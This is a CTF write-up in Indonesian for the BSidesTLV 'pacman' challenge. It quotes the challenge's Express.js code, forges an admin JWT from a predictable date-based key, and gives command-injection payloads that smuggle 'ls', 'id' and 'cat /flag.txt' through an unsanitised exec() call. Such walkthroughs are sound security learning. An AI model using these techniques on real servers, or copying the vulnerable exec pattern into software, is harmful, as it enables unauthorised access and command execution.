___ ___                                 .__              
     /   |   \   ____ ___  ___         _______|__| ____   ____  
    /    ~    \_/ __ \\  \/  /  ______ \___   /  |/    \_/ __ \ 
    \    Y    /\  ___/ >    <  /_____/  /    /|  |   |  \  ___/ 
     \___|_  /  \___  >__/\_ \         /_____ \__|___|  /\___  >
           \/       \/      \/               \/       \/     \/ 
    
            pertama kita download dulu file challenge.js nya, kemudian kita analisa
            code nya , oh ya saya mengunakan dynamic analisis

            bisa kita lihat bahwa challange nya mengunakan nodejs, dengan framework expresjs,
            kemudian kita coba install modules nya kemudian kita jalankan server nya.

            kita buka di browser alamat http://pacman.challenges.bsidestlv.com/ maka akan muncul tulisan You are not authorized!

            
            
            mari kita check path `/` pada challenge.js
            
            app.get('/', function(req, res) {
                if(req.headers['user-agent'] === 'LevelUP!' && decodeValue(req.cookies.auth, generateKey())) {
                    res.render('game.ejs');
                } else {
                    res.send("You are not authorized!");
                }

            });
            
sebelum mengakses endpoint tersebut , kita harus mengeset user-agent dan cookies. namun pada cookies ada pemangilan fungsi decodeValue dimana cookies auth akan di decode berdasarkan fungsi generateKey() maka bila di urutkan hal yang perlu kita siapkan adalah 1. set user-agent menjadi LevelUP! 2. mengetahui output dari generateKey() 3. mengecheck cara kerja fungsi decodeValue(token, key) step 1 ------ pada request http ke path / kita ubah user-agent menjadi LevelUP! step 2 ------ mari kita check fungsi `generateKey()`
            function generateKey() {

                const date = new Date();
                const year = date.getFullYear();

                let month = date.getMonth() + 1;
                month = (month < 10 ? "0" : "") + month;

                let day  = date.getDate();
                day = (day < 10 ? "0" : "") + day;
                const key = `${year}:${month}:${day}:LevelUP!`;
                return crypto.createHash('md5').update(key).digest("hex");

            }
            
bisa kita simpulkan bahwa key yang akan di generate memiliki pola seperti ini ${year}:${month}:${day}:LevelUP! kemudian encode kedalam hex dan terakhir di hash mengunakan md5 asumsikan kita mengunakan time request ke server http://pacman.challenges.bsidestlv.com/ Tue, 11 Jun 2019 18:53:40 GMT maka menjadi '2019:06:11:LevelUP!' kemudian kita hex dan md5 maka ketika fungsi generateKey() di pangil maka kita akan mendapatkan key cf02bbfc843acac6ff595527c855904b step 3 ------ kita check fungsi decodeValue(token, key), menerima 2 inputan berupa token dan key
            function decodeValue(token, key) {
                try {
                    return jwt.verify(token, key, function (err, decoded) {
                        return decoded.isAdmin
                    });
                }
                catch(err) {
                    return false;
                }

            }
            
pada fungsi decodeValue ada proses pengecheckan token, dan terakhir hasil dari decode token akan di return berupa bolean. bisa kita asumsikan token yang di encode berupa { isAdmin : true } , karena pada proses verify, bisa kita lihat hanya mereturn bagian decoded.isAdmin dan karena kita tau key yang di gunakan maka , kita bisa mengenerate token tsb. dengan membuat script

            const jwt = require('jsonwebtoken');

            let key = 'cf02bbfc843acac6ff595527c855904b'
            const token = jwt.sign({ isAdmin: true }, key);
            console.log(token)

            
muncul sebuah halaman berupa game packman, kita viewsource maka kita temukan sebuah event handler ketika user mengclick `levelUp` maka ada proses ajax berupa method : POST url : http://pacman.challenges.bsidestlv.com/levelUp parameter : { "level": currentLevel } maka kita coba request lagi. output berupa Level up! mari kita check path /levelUp pada script challenge.js
            app.post('/levelUp', function(req, res) {
                if(req.headers['user-agent'] === 'LevelUP!' && decodeValue(req.cookies.auth, generateKey())) {
                    const level = req.body.level;
                    exec('./levelup ' + level, (err, stdout) => {
                        res.send(stdout)
                    });
                } else {
                    res.send("You are not authorized!");
                }

            });
            
bisa kita temukan pada route /levelUp menjalankan fungsi exec dan parameter level sebagai parameter ketika menjalankan file ./levelup maka bisa kita simpulkan kita menemukan bug command injection , si user bisa mengirimkan malicious command, mari kita test. {"level":"666|ls -la && pwd && id"} maka kita hanya mencari flag dimana {"level":"666|ls -la / && cat /flag.txt"} setelah itu flag nya adalah BSidesTLV{H1dd3nPacmanLevelUP!} Maka bisa kita simpulkan terdapat 2 bug yaitu: 1. week create secrect key 2. command injection